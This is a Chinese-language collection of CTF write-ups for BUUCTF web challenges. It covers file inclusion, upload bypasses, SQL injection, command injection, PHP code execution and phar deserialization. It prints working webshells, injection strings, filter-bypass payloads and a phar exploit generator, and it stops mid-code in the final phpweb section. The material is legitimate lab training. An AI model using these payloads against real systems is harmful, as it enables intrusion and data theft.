代码审计

[HCTF 2018]WarmUp:初步代码审计;文件包含;

F12 查看源码提示有 source.php ,访问获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class emmm
{
public static function checkFile(&$page)

{
//白名单列表
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
if (! isset($page) || !is_string($page)) {
echo "you can't see it A";
return false;
}
//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($page, $whitelist)) {
return true;
}
//过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
);

//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
//url对$page解码
$_page = urldecode($page);

//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

hint.php 提示在 ffffllllaaaagggg
文件包含将 flag 包含进来,最后触发是 include $_REQUEST['file'];
三层过滤:

  1. 第一层判断:是否 file 传入是否为空、是否是 string 类型
  2. 第一层过滤:file 传入原值是否在白名单中
  3. 第二层过滤:取 file 第一个 ? 前的值,判断是否在白名单中,例如:$file=hint.php?id=0 ,则取 hint.php
  4. 第三次过滤:对 file 进行 url 解码后,取第一个 ? 前的值,判断是否在白名单中

最后 payload ?file=hint.php?/../../../../../ffffllllaaaagggg
include 的时候将 hint.php?/ 当作是文件目录,然后一直返回上层到根目录

[BJDCTF2020]Mark loves cat:代码审计;变量覆盖;

除了页面最底部有个 dog ,没有任何思路和提示,那就开始 dirsearch 扫目录。找到有 git 源码泄露,Githacker 将源码拖下来:

1
githacker --url http://6515a110-1a7a-4c40-b134-c1f29f33adf5.node4.buuoj.cn:81 --folder result --threads 1

githack 也能实现 git 泄露源码,之前用的好好的,现在这题 php 文件死活拖不出来就换了。
关键部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y; //修改任意变量为任意值
}

foreach($_GET as $x => $y){
$$x = $$y; //修改任意变量为另外一个变量的值
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

两种方法修改变量:get、post

1
2
3
4
5
6
7
8
9
10
11
foreach($_POST as $x => $y){
$$x = $y; //修改任意变量为任意值
//input:$x="yds";$y='$flag';
//result:$yds = $flag
}

foreach($_GET as $x => $y){
$$x = $$y; //修改任意变量为另外一个变量的值
//input:$x="yds";$y='flag';
//result:$yds = $flag
}

GET 方法:index.php?yds=flag

补充知识

foreach 题目列表或者键值对 example 。如果是列表返回 $key 是下标,字典返回是键名。

1
2
3
4
5
<?php
$a = array(1,2,3,4,5,6,7);
foreach ($a as $key => $value){
echo "Current value of \$key:$key \$value:$value.\n";
}

[HCTF 2018]admin

index 源码提示:<!-- you are not admin -->

注册 admin 提示用户已存在,注册 test 用户登录

change 源码发现题源码:<!-- https://github.com/woadsl1234/hctf_flask/ -->

发现 index.html 模板需要 session[‘name’]==’admin’ 就输出 flag

image-20220121172458094

EXP-0

弱口令 admin/123

EXP-1

客户端 session 伪造。flask 使用本地 session 存放在 cookie 保存在本地浏览器。在源码中找到了 SECRET_KEY ,注册一个账号之后,修改 session 加密后替换原来的。

image-20220121173028603

image-20220121173230969

EXP-2、3

其他师傅复现 wp 还有 unicode 绕过和条件竞争两种方法。这里的 unicode 绕过没有看太懂是 strlower() 里面调用的 nodeprep.prepare 版本存在 uniocde 漏洞还是怎么,两次调用 strlower 变化过程:

1
ᴬᴰᴹᴵᴺ -> ADMIN -> admin

文件上传

[ACTF2020 新生赛]Upload:文件上传;phtml绕过;

扫目录没有什么东西
前台 main.js checkFile() 对文件后缀进行白名单过滤,main.js F12 sources 可以找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
alert(errMsg);
return false;
}
}

就一句话木马改成 png 后缀进行抓包绕过前端过滤:
image.png
修改后缀为 php ,返回 Bad file ,证明后端还有过滤。这里需要用到新的知识点:phtml 和 php 都可以被服务器当作 php 代码执行

什么是phtml,什么时候应该使用.phtml扩展名而不是.php?

将后缀改成 phtml ,蚁剑连上 getshell

[极客大挑战 2019]Upload:GIF89a图片头欺骗;script标签绕过;

文件上传没有其他东西。php 后缀文件被过滤,上传 phtml 返回 Not image! 。上传 png、gif、jpeg 也是一样提示就很奇怪。尝试GIF89a图片头文件欺骗

1
2
3
GIF89a
<?php
@eval($_POST['skye']);

上传成功,提示文件存在 <?
image.png
用 html script 标签绕过 <? 限制成功上传 hack.phtml

image.png

蚁剑连上:/uploads/hack.phtml

题目源码

按道理正常的 png、gif、jpeg 能上传,但是为什么报错 Not image!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<!DOCTYPE html>
<html lang="zh">

<style>
.error {
font-family:Microsoft YaHei;
font-family:arial;
color:red;
font-size:40px;
text-align:center;
}
</style>

<head>
<meta charset="UTF-8">
<title>check</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />
</head>

<body>
<div class="Vidage">
<div class="Vidage__image"></div>
<video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
<source src="videos/bg.webm" type="video/webm">
<source src="videos/bg.mp4" type="video/mp4">
</video>
<div class="Vidage__backdrop"></div>
</div>

<script src="dist/scripts/Vidage.min.js"></script>
<script>
new Vidage('#VidageVideo');
</script>
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div class="error">
<strong>
<?php
$file = $_FILES["file"];

// 允许上传的图片后缀
$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
$temp = explode(".", $file["name"]);
$extension = strtolower(end($temp)); // 获取文件后缀名
$image_type = @exif_imagetype($file["tmp_name"]); //通过文件头判断图像的类型
// 检查Content-Type的值是否为图片类型
if ((($file["type"] == "image/gif")
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480) // 小于 20 kb
{
if ($file["error"] > 0){

echo "ERROR!!!";
}
elseif (in_array($extension, $allowedExts)) {
echo "NOT!".$extension."!";
}
elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
echo "NO! HACKER! your file included '&#x3C;&#x3F;'";
}
elseif (!$image_type) {
echo "Don't lie to me, it's not image at all!!!";
}
else{
$fileName='./upload/'.$file['name'];
move_uploaded_file($file['tmp_name'],$fileName);
echo "上传文件名: " . $file["name"] . "<br>";
}
}
else
{
echo "Not image!";
}
?>
</strong>
</div>


<div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
</body>
</html>

[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名;

上传图片后缀文件成功,php、phtml 被过滤了:
image.png
这个上次的一句话蚁剑是连不上的。
**正确姿势应该是通过 ****.htaccess** 改变文件拓展名

.htaccess 详解

启用 .htaccess ,需要修改 httpd.conf ,启用 AllowOverride ,并可以用 AllowOverride 限制特定命令的使用。
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
改变文件扩展名几种配置方法:

1
AddType application/x-httpd-php .jpg //jpg解析为php
1
SetHandler application/x-httpd-php  //任意后缀均被解析为php
1
2
3
4
<FilesMatch "1.png"> 
SetHandler application/x-httpd-php
</FilesMatch>
//文件1.png被解析为php

改变 .htaccess 配置后造成文件解析漏洞,将其他后缀文件解析成 php 文件,即将文件内容当作 php 代码执行
修改 Content-Type 绕过后端检查:
image.png
现在 jpeg 已经被当作 php 执行,上传 jpeg 一句话,蚁剑链接 webshell
image.png

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];

// 匹配文件后缀有没有 ph
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("我扌your problem?");
}
else{
// 文件后缀白名单、文件大小限制
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
else{
die("我扌your problem?");
}
}
}
?>

[GXYCTF2019]BabyUpload:.htaccess改变文件拓展名;script 标签绕过;

上传 1.php 提示文件后缀不能包含 ph ;Content-Type 不是图片也会被过滤;
文件内容不能包含 <?
image.png
服务器是 PHP5.x 用 script 绕过 <? 过滤
文件后缀不能包含 ph 尝试修改 .htaccess 将其他文件解析成 php 文件。返回数据包 Server: openresty 是基于 Nginx ,Nginx 默认不支持 .htaccess ,但也可以修改配置后支持 .htaccess 。这部分思路参考:[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名
上传 .htaccess :
image.png
上传 1.jpeg 一句话木马:
image.png
蚁剑链接就好了。getshell 没找到服务器的 Nginx 配置文件(准备看看怎么支持 .htaccess ,但是没找到。找到了一堆 apache 的东西奇奇怪怪)

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];

if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不能有ph!");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("诶,别蒙我啊,这标志明显还是php啊");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型也太露骨了吧!");
}
}
}
?>

SQL注入

[极客大挑战 2019]BabySQL

单引号测试报错:

1
?username=admin'&password=1

image-20220119003158383

判断是联合注入,闭合符号是单引号。万能密码登录报错

image-20220119003624087

or 被替换为空,双写绕过 oorr1= 视乎也被替换为空

image-20220119144101183

直接 oorr 1 就能登录

image-20220119144236515

然后就是联合注入:

1
?username=admin%27+uniunionon+selselectect+1%2C2%2C3+%23&password=2
1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cdatabase%28%29+%23&password=2

from 和 infoorrmation_schema 存在过滤字符串需要双写绕过

1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cgroup_concat%28schema_name%29+frfromom+infoorrmation_schema.schemata%23&password=2

where 需要双写

1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cgroup_concat%28table_name%29+frfromom+infoorrmation_schema.tables+whewherere+table_schema%3D%27ctf%27%23&password=2

and 需要双写

1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cgroup_concat%28column_name%29+frfromom+infoorrmation_schema.columns+whewherere+table_schema%3D%27ctf%27+anandd+table_name%3D%27Flag%27%23&password=2
1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cgroup_concat%28flag%29frfromom+%28ctf.Flag%29%23&password=2

[极客大挑战 2019]EasySQL:万能密码

账号密码都是一样的,输入'会有错误回显
image.png
这里是因为程序使用 sql 语句用'闭合,类似于:

1
select * from table where id='admin'

用万能密码登录:

1
select * from table where id='admin' or '1'='1'

最终 payload :

第一个和最后一个是程序自带的,其他是我们注入进去的

1
check.php?username=skye231' or '1'='1&password=a' or '1'='1
1
check.php?username=skye231&password=a' or 1=1#

[极客大挑战 2019]HardSQL

万能密码登录失败,根据提示来看是被后端过滤了部分关键词。sql_fuzz.txt 字典看一下什么关键字被过滤的。

空格被过滤,用 ^ 代替空格拼接或者()

1
check.php?username=admin'^database()%23&password=1

登录后没有回显的位置。updatexml、extractvalue 没有被过滤,sql 错误信息会显示在前端,用报错注入。

爆破数据库名(geek):

1
check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1

爆破表:

空格被过滤,用 ^ 代替空格拼接或者()

等号被过滤,用 like()

1
check.php?username=admin'or(updatexml(0,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))),1))#&password=1

爆破列:

1
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))),1))#&password=1

爆破 flag

1
check.php?username=admin'or(updatexml(0,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),30)),0x7e),1)#&password=1
1
check.php?username=admin'or(updatexml(0,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),30)),0x7e),1)#&password=1

参考文章

https://blog.csdn.net/qq_45163122/article/details/105908125

[强网杯 2019]随便注 - 堆叠查询

判断出'是闭合符,万能密码可以查出当前表全部内容
堆叠注入可以使用:
?inject=1';show databases;#
image.png
查询表名发现其他的表:
?inject=0';show tables;#
image.png
查询表结构判断出 flag 在里面

1
?inject=0';desc `1919810931114514`#

image.png
words 表就是正常查询的表,根据表里面内容判断出 sql 查询语句

1
selsect id,data from words where id =

image.png

方法1:重命名表和字段

  1. 将 words 改成任意名字(words1)
  2. 把 1919810931114514 表名改成 words
  3. 把 1919810931114514 列名 flag 改成 id
  4. 万能密码查询出 flag
    1
    0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#
    image.png

    修改后 words 表(1919810931114514)结构

image.png
最后万能密码 ?inject=1'or '1'='1

方法2:预处理语句

利用 char() 函数将 select 的 ASCII 码转换为 select 字符串,接着利用 concat() 函数进行拼接得到 select 查询语句,从而绕过过滤。或者直接用 concat() 函数拼接 select 来绕过。

payload1 不使用变量
1
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2 使用变量
1
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3 只是用contact(),不使用char()
1
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

[SUCTF 2019]EasySQL:堆叠注入;pipes_as_concat;

进行一下尝试:
image.png
3 变成了 1
image.png
堆叠注入可以image.png
flag 被过滤不能使用。这题要对 sql 语句猜测,输入一长串数字尝试:
image.png
前 10 个数字对应查询语句猜测是 select 1 ,就是测试注入点(回显点位)的语句

最后一个数字无论是什么都是 1 ,看师傅 wp 才知道 sql 语句:

1
sql="select".post['query']."||flag from Flag";

上图对应实际查询语句:select 1,2,3,4||flag from Flag|| 在 mysql 默认是或运算,所以最后一个值查询结果非 0 即 1 。

EXP1

这个没什么好解释的,

1
2
*,1
// select *,1||flag from FLAG

EXP2

|| 在 mysql 默认是或运算符,在 oracle 缺省支持通过 || 来实现字符串拼接。mysql 将 mode 设置为 pipes_as_concat 来实现。

1
2
1;set sql_mode=PIPES_AS_CONCAT;select 1
//select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from FLAG

设置完的相当于是用 concat 进行拼接:SELECT 1,CONCAT(1,flag) FROM FLAG
concat 将查询结果进行拼接,本地环境测试:SELECT CONCAT(3,last_name) FROM users 每个结果都加上了 3

image.png

image.png

[极客大挑战 2019]LoveSQL:联合注入

万能密码登录成功 /check.php?username=admin'+or+1%3D1%23&password=1

image-20211216113455310

Md5 解密失败,尝试联合注入。从前面的万能密码得知注入类型是字符型,闭合符号是单引号。

3 个字段:/check.php?username=admin'+order+by+3%23&password=1

显示位置注入:/check.php?username=-1'+union+select+1%2C2%2C3%23&password=1

image-20211216142419228

查询数据库名:/check.php?username=-1'+union+select+1%2C2%2Cdatabase()%23&password=1

查询表名:/check.php?username=-1'+union+select+1%2C2%2Cgroup_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23&password=1

查字段:/check.php?username=-1'+union+select+1%2C2%2Cgroup_concat(column_name)+from+information_schema.columns+where+table_schema%3Ddatabase()+and+table_name%3D'l0ve1ysq1'%23&password=1

查数据:/check.php?username=-1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

文件包含

[ACTF2020 新生赛]Include:php://filter读源码;

点进去 Tips 之后,观察 url 有点问题 ?file=flag.php ,怀疑是文件包含漏洞。
伪协议 php://filter 读取 flag.php 源码

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

file:// 协议读取会把文件内容执行么,php文件捏?

[极客大挑战 2019]Secret File:php://filter读源码;抓包防重定向;

F12 查看到隐藏的路径
image.png
进去里面还有一个
image.png
然后提示结束了
image.png
burp抓包查看到有重定向,获取中间内容
image.png
访问获取到源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

include 一看就是文件包含,过滤了一些字符串,直接 php://filter 读取即可

命令执行

[ACTF2020 新生赛]Exec

image.png
image.png

[GXYCTF2019]Ping Ping Ping

试了一下存在命令拼接:?ip=1.1.1.1;ls

尝试获取源码 ?ip=1.1.1.1;cat index.php ,几次尝试后判断是过滤了空格和花括号,翻一下百度绕过一下:?ip=1.1.1.1;cat$IFS$09index.php 。获取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

过滤关键字 flag ,翻一下百度绕过一下:

  • base64 编码绕过:

    1
    ?ip=1.1.1.1;echo$IFS$09Y2F0IGZsYWcucGhw|base64$IFS$09-d|sh
  • 内联执行绕过:

    1
    ?ip=1.1.1.1;cat$IFS$09`ls`
  • 拼接绕过:

    1
    ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php

EasyBypass

两个可以命令注入的地方,comm1 过滤少了双引号和逗号。

image-20211230012644632

1
?comm1=index.php";whoami;"

输出函数 tac 没有被过滤,flag 文件名被过滤:

  • 双引号绕过

    1
    ?comm1=index.php";tac /fl""ag;"
  • 通配符绕过

    1
    ?comm1=index.php";tac /fla?;"

代码执行

[极客大挑战 2019]Knife

image-20211230163937104

[SUCTF 2018]GetShell

文件上传过滤部分代码,上传文件从第五个字开始与黑名单比较,如果匹配则文件上传失败,成功的话会将文件后缀改成 .php

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

测试之后发现(数字、英文)字符都被过滤,需要构造无字符 webshell ,知识点来源 P 神文章。通过异或构造 webshell :

1
<?=system($_POST['system']);
  1. 使用 <?= 代替 <?php ,因为后者的第六个字符必须要是空格,空格是在黑名单里面会被过滤

  2. eval 是 php 的语法构造,system 是函数。函数允许动态调用,语法构造不行

    具体查看:https://blog.twofei.com/565/

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 为什么这段代码可以运行
    // 正常输出:howdy~
    $foo = "system";
    $bar = "echo howdy~";
    $foo($bar);

    // 而这段代码却不能运行
    // PHP错误是:``PHP Fatal error: Call to undefined function eval() in - on line ?``
    $foo = "eval";
    $bar = "echo howdy~";
    $foo($bar);

EXP

构造出来的 exp

1
2
3
4
5
<?=
$__=[];$____=$__==$__;#1
$_=~(北)[$____];$_.=~(熙)[$____];$_.=~(北)[$____];$_.=~(拾)[$____];$_.=~(的)[$____];$_.=~(和)[$____];#system
$___=~(样)[$____];$___.=~(说)[$____];$___.=~(小)[$____];$___.=~(次)[$____];$___.=~(站)[$____];$____=~(瞰)[$____];#_POST
$_($$___[$_]);#system($_POST[system]);

由于空格和换行都被过滤,所以全部代码写一行

1
<?=$__=[];$____=$__==$__;$_=~(北)[$____];$_.=~(熙)[$____];$_.=~(北)[$____];$_.=~(拾)[$____];$_.=~(的)[$____];$_.=~(和)[$____];$___=~(样)[$____];$___.=~(说)[$____];$___.=~(小)[$____];$___.=~(次)[$____];$___.=~(站)[$____];$____=~(瞰)[$____];$_($$___[$_]);

flag 在环境变量中,env 查看就行

[GXYCTF2019]禁止套娃

Dirmap 扫一下出来 .git 泄露,githack 提取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

第一层过滤几个 php 的伪协议:

1
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

第二层匹配有参数的函数调用替换为空,如 back_door(_POST[“cmd”)) :

1
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
  • (?R) 引用当前表达式,后面加了?递归调用
  • [a-z,_]+ 匹配一个或多个英文字符串或者下划线

第三层过滤一些函数:

1
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

EXP

1
2
3
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
  1. current(localeconv()) 永远都是个点
  2. next() 函数讲内部指针指向数组中的下一个元素,并输出
  3. array_reverse() 函数以相反的元素顺序返回数组

img

通过 session_start() 告诉 PHP 使用 session , php 默认是不主动使用 session 的。 session_id() 可以获取到当前的 session id 。因此我们手动设置名为 PHPSESSID 的 cookie ,并设置值为 flag.php

反序列化

[CISCN2019 华北赛区 Day1 Web1]Dropbox:phar反序列化

dirsearch 扫目录扫出 register.php 注册登录

下载文件抓包发现 download.php 可以目录穿越:

image-20220510004951688

得到 class.php、download.php 等关键点在 class.php:

  1. File->close() 存在文件包含

    image-20220510005318388

  2. User->__destruct() 调用对象的 close 方法

    image-20220510005426112

  3. File->open() file_exists() 可以被 phar 反序列化

    image-20220510005936042

  • FileList->__call 调用 $this->file 对象列表的参数。

    image-20220510010143698

  • FileList->__destruct 用于页面显示,也是 __call() 结果输出

大致流程如下。具体调试:https://www.cnblogs.com/TJWater/p/15070469.html

1
2
3
4
5
6
7
8
9
10
11
12
13
//delete声明file类打开文件
delete.php:$file->open($filename)
//open方法里面使用了phar反序列化函数file_exists
//自此完成反序列化
class.php:File:open():file_exists($filename)
//文件不存在,退出触发魔术函数
class.php:User:__destruct():$this->db->close()
//FileList不存在close()触发魔术函数
class.php:FileList:__call()
//调用File的name、close两个方法,结果存放在result等等显示出来
class.php:File:name、close
//显示结果
class.php:FileList:__destruct()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?
class User
{
public $db;
}
class FileList
{
private $files;
public function __construct()
{
$this->files=array(new File());
}
}
class File
{
public $filename='/flag.txt';//绝对路径
}

$b=new FileList();
$c=new User();
$c->db=$b;

$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

改后缀为 png ,上传 phar 文件。抓取删除包将文件名改成 phar://exp.png

image-20220510011358486

参考文章

https://www.cnblogs.com/TJWater/p/15070469.html

https://blog.csdn.net/RABCDXB/article/details/119430375

[网鼎杯 2020 朱雀组]phpweb:反序列化命令执行

访问靶机,查看源码发现有一段自动提交的 js 脚本,抓包可以到提交数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php HTTP/1.1
Host: 268ed688-c16e-4fbf-aece-05d437be041e.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://268ed688-c16e-4fbf-aece-05d437be041e.node4.buuoj.cn:81
Connection: close
Referer: http://268ed688-c16e-4fbf-aece-05d437be041e.node4.buuoj.cn:81/index.php
Cookie: _ga=GA1.2.840238127.1644300703; UM_distinctid=17edec8c18ab36-01b6a676e5e3c78-455b68-13c680-17edec8c18be2e
Upgrade-Insecure-Requests: 1

func=date&p=Y-m-d+h%3Ai%3As+a

改一下参数试了一下,判断是个 php 代码执行:func 是函数;p 是函数参数。存在过滤命令执行函数无法运行。可以读取源码:func=highlight_file&p=index.php,读取文件函数还有:file_get_contents、fread、fgets、fgetss、file、parse_ini_file、readfile、highlight_file、show_source。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
